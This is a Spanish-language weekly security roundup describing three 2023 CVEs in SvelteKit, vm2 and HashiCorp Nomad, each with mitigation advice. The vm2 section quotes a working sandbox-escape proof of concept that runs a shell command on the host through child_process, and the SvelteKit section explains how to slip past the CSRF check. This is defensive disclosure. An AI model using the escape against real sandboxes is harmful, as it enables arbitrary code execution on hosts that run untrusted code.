En el resumen de esta semana hablaremos de lo siguiente:
- Evasión de la protección CSRF en SvelteKit;
- Un escape sandbox en versión vm2; y
- Una omisión de autorización ACL no autenticada para HashiCorp Nomad y Nomad Enterprise que resulta en una escalada de privilegios.
CVE-2023-29003: SvelteKit: Anulación de la protección CSRF mediante el encabezado Content-Type
Fondo
SvelteKit es un marco de trabajo para crear aplicaciones web utilizando la biblioteca Svelte JavaScript. Proporciona una experiencia de desarrollo optimizada al incluir funciones como el renderizado del lado del servidor, el enrutamiento y el enrutamiento de páginas basado en archivos.
Vulnerabilidad
La vulnerabilidad, CVE-2023-29003, afecta a las versiones de SvelteKit inferiores a la 1.15.1 debido a la insuficiente protección contra falsificaciones de petición en sitios cruzados (CSRF). Antes de SvelteKit 1.15.1, la protección CSRF se ejecutaba cuando se cumplían tres condiciones: (1) la petición era un POST, (2) había un desajuste entre el origen del sitio y la cabecera HTTP de origen de la petición, y (3) si la petición incluía contenido de formulario, indicado por una cabecera Content-Type de "application/x-www-form-urlencoded" o "multipart/form-data".
Si se cumplieran todas estas condiciones, se enviaría una respuesta 403 Forbidden a la petición. Esta comprobación podría eludirse utilizando un Content-Type diferente en la petición, como "text/plain".
Mitigación
- La vulnerabilidad se ha solucionado en la versión 1.15.1 de SvelteKit. Se recomienda actualizar a la última versión para solucionar este problema.
CVE-2023-29199: vm2: Sandbox Escape en el transformador de código fuente
Fondo
vm2 es un módulo de Node.js que proporciona un entorno aislado para ejecutar código no fiable de forma segura. Permite crear contextos de ejecución aislados en los que los atacantes pueden ejecutar código no fiable sin poder acceder al contexto global ni a datos sensibles.
Vulnerabilidad
La vulnerabilidad se basa en una excepción en la lógica de saneamiento del transformador de código fuente de vm2. Esta vulnerabilidad permite a un atacante saltarse la función handleException() y filtrar excepciones del host no saneadas abriendo la puerta a que un atacante escape del sandbox y ejecute código arbitrario en el contexto del host.
El usuario de GitHub leesh3288 hizo una prueba de concepto para explotar esta vulnerabilidad, que muestra la facilidad con la que se puede ejecutar código en el contexto del host:
const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname
.constructor
.constructor('return process')()
.mainModule.require('child_process')
.execSync('touch pwned');
}
`
console.log(vm.run(code));
Mitigación
- La vulnerabilidad se ha solucionado en la versión 3.9.16 de vm2. Se recomienda actualizar a la última versión para solucionar este problema.
CVE-2023-1782: HashiCorp Nomad: Escalada de privilegios por elusión de ACL no autenticada
Fondo
HashiCorp Nomad es una plataforma de orquestación de contenedores que permite a los usuarios desplegar y gestionar fácilmente aplicaciones en diversos entornos, como centros de datos, la nube y ubicaciones periféricas. Ofrece funciones como despliegue automatizado, escalado y autorreparación, así como compatibilidad con múltiples tiempos de ejecución de contenedores y algoritmos de programación.
Vulnerabilidad
No hay muchos detalles específicos sobre esta vulnerabilidad. Sin embargo, según el informe del investigador, las solicitudes HTTP no autenticadas pueden eludir las autorizaciones ACL previstas siempre que se procese una solicitud en el servidor a través de RPC internas. Esta vulnerabilidad afecta a HashiCorp Nomad y HashiCorp Nomad Enterprise para las versiones 1.5.0 hasta 1.5.2.
Mitigación
- Esta vulnerabilidad puede remediarse habilitando mTLS en su clúster de hosts.
- Esta vulnerabilidad se ha solucionado en la versión 1.5.3 de HashiCorp Nomad. Se recomienda actualizar a la última versión para solucionar este problema.
Comentarios